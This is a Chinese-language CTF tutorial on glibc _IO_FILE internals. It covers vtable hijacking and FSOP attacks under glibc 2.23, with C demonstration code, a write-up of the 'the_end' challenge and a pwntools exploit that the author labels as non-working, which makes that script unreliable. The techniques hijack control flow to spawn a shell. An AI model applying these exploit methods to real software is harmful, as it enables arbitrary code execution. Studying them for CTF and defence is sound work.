IO FILE 和 相关攻击

本文有部分来自ctf-wiki 感谢师傅们!

结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;

size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

FILE 结构会通过_chain彼此连接形成一个链表, 链表头部 用全局变量_IO_list_all 表示,chain, 指向下一个IO_FILE,通过chain我们可以遍历所有的 FILE 结构。

(glibc对chain的使用在FSOP章节中可以看到)*

此外,IO_FILE结构还被外包了一个_IO_FILE_plus,结构如下:

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

vtable 是 IO_jump_t 类型的指针,IO_jump_t中保存了一些函数指针,里面长成这个样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

V-table 攻击

(在glibc 2.23下)

因为glibc在处理一些IO函数时(如fopen,fwrite),会需要处理一些File结构,导致了很多时候会使用vtable的函数指针,因此我们可以通过劫持他们来控制程序执行流

两种攻击方法

  • 直接改写 vtable 中的函数指针
  • 覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针

小 Example

1
2
3
4
5
6
7
8
9
10
11
int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

vtable_ptr[7]=0x41414141 //xsputn

printf("call 0x41414141");
}

关于需要劫持哪个函数,建议 https://ctf-wiki.org/pwn/linux/user-mode/io-file/introduction/#fread,这里因为使用到了`printf`,所以是`xsputn`

在需要传参数的情况下,并且在xsputnvtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。利用这点可以实现给劫持的 vtable 函数传參,比如

1
2
3
4
5
6
7
8
9
10
11
12
13
#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

memcopy(fp,"sh",3);
vtable_ptr[7]=system_ptr //xsputn
fwrite("hi",2,1,fp);
}

同样,如果程序中不存在 fopen等函数创建的IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。

The Last 题目分析

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h] BYREF

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
  • 五次任意写(一次一字)

  • 有libc地址

思路: 有任意写而且泄露libc地址,而且有exit会使用IO_FILE函数,可以先修改stdoutvtable的指针为一个可写的地址,在把one_gadget写到那个地址上,最后exit直接 Get Shell

打不通的 Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.log_level = 'debug'
elf = ELF("./the_end")
libc = ELF("./libc.so.6")
io = process("./the_end")

def leak():
io.recvuntil("here is a gift ")
addr = io.recvuntil(",",drop=True)
# base = int(addr,16)
base = long(addr,16) - libc.symbols["sleep"]
return base

libc_base = leak()
vtable_addr = 0x3C4618 + libc_base #dq offset _IO_file_jumps
fake_vtable = 0x3c4588 + libc_base
setbuf = 0x3c45e0 + libc_base # +0x58
one_gad = [0xf0897,0xef9f4,0x4525a,0x45206]
# log.info(f"libc base : {hex(libc_base)}\nvtable_addr : {hex(vtable_addr)}")
io.recvuntil("good luck ;)")
for i in range(2):
io.send(p64(vtable_addr+i))
io.send(p64(fake_vtable)[i])

for i in range(3):
io.send(p64(setbuf+i))
io.send(p64(one_gad[0])[i])

io.interactive()

FSOP 攻击

结构上面说了,但是不劫持chain,劫持_io_list_all指针,劫持到自定义的IO_FILE结构

大概步骤

  1. 泄露 libc.so 基址
  2. _IO_list_all 的内容改为指向我们可控内存的指针

小 Example

我们用_IO_flush_all_lockp来做攻击点

1
2
3
4
5
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}

这个函数的某一部分会对特定IO_FILE(攻击时我们自定义的)的成员进行检查 条件

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

,检查之后面会调用一个V-table函数 _IO_overflow

以下情况会调用_IO_flush_all_lockp

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

  3. 当执行流从 main 函数返回时

小 Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
void *ptr;
long long *list_all_ptr;

ptr=malloc(0x200);

*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);

*(long long*)((long long)ptr+0x100+24)=0x41414141;

list_all_ptr=(long long *)_IO_list_all;

list_all_ptr[0]=ptr;

exit(0);
}